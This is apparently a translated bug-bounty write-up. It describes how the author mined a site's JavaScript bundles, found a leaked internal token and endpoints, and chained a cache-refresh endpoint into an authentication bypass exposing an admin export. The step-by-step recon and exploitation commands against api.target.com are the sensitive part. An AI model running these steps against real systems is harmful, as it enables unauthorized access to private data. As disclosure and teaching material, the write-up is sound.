本文讲述了一个前端文件如何悄无声息地引导白帽小哥获得后端访问权限、内部API,以及一个最终演变成具有高影响力漏洞的缓存投毒问题。
第一步:先收集,后思考
一开始,白帽小哥并没有攻击任何东西,只是专注于信息收集。他使用命令从存活域名中提取JS文件:
cat alive.txt | gau | grep '\.js' > js_files.txt
然后,过滤出那些实际可达的文件:
cat js_files.txt | httpx -mc 200 > live_js.txt
在这个阶段,小哥并非寻找漏洞,只是在建立对目标的熟悉程度。
第二步:正确地阅读 JavaScript 文件
大多数人对 JS 文件只是瞥一眼,但小哥会把它们的内容全部下载下来:
cat live_js.txt | xargs -n1 -P10 curl -s > js_dump.txt
在一个带版本号的捆绑文件中,比如:
/static/app.bundle.9f3a1c.js
他成功注意到关键信息:
const API_BASE = "https://api.target.com/internal";
const INTERNAL_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...";
通过仔细分析JavaScript文件,小哥发现了内部令牌和API端点。
第三步:让前端为你绘制后端地图
一旦拿到 JS 文件,就无需猜测端点。使用正则表达式提取URL:
grep -oP "https?://[^\"]+" js_dump.txt | sort -u
输出结果包括:
/internal/user/debug
/internal/cache/refresh
/internal/admin/export
在前端代码中看到 /internal/ 这样的路径,总是让人无法安心。
第四步:不抱期望地测试令牌
小哥没抱太大期望,但还是测试了这个令牌:
curl -H "Authorization: Bearer <TOKEN>" \
https://api.target.com/internal/user/debug
响应:
{
"env": "production",
"cache": "enabled",
"role": "service"
}
响应确认了两件事:
- 令牌是真实的
- 在生产环境中依然可用
第五步:那个感觉不对劲的端点
有一个端点一直困扰着小哥:
/internal/cache/refresh
回过头再次查看 JS,发现它是这样被使用的:
fetch(`/internal/cache/refresh?path=${userPath}`)
用户输入、缓存逻辑,没有明显的验证,这种组合通常会导致糟糕的结果。

第六步:当缓存成为问题
这不是一个基本的缓存问题,后端缓存的是完整的响应,而缓存的键名完全依赖于 path 参数的值。尝试调用:
curl -H "Authorization: Bearer <TOKEN>" \
"https://api.target.com/internal/cache/refresh?path=/internal/admin/export"
然后直接访问端点:
curl https://api.target.com/internal/admin/export
无需标头,无需令牌,依然成功收到响应。
第七步:一锤定音的证明
标头说明了一切:
curl -I https://api.target.com/internal/admin/export
X-Cache: HIT
一旦像这样的响应被缓存,访问控制就失效了。
为什么这是一个严重的问题
这不止是一个单一的错误,也是一个连锁反应:
- 前端暴露了内部结构
- 一个长期有效的令牌被泄露在 JS 中
- 缓存刷新逻辑缺乏防护措施
- 身份验证被绕过
- 敏感的后端数据被泄露
单独来看,其中一些问题可能看起来是次要的,但当它们组合在一起时,就构成了一个严重的安全漏洞。
从中学到了什么
- JavaScript 文件比文档更好地解释了系统
- 前端密钥几乎总会对后端产生影响
- 缓存端点会放大错误
- "内部"并不代表"安全"
这个故事展示了前端代码如何成为后端安全的薄弱环节。如果你对类似的技术案例感兴趣,欢迎到云栈社区交流分享。
原文:https://medium.com/@iski/from-js-file-to-jailbreak-how-frontend-code-gave-me-backend-access-5b4974d06b63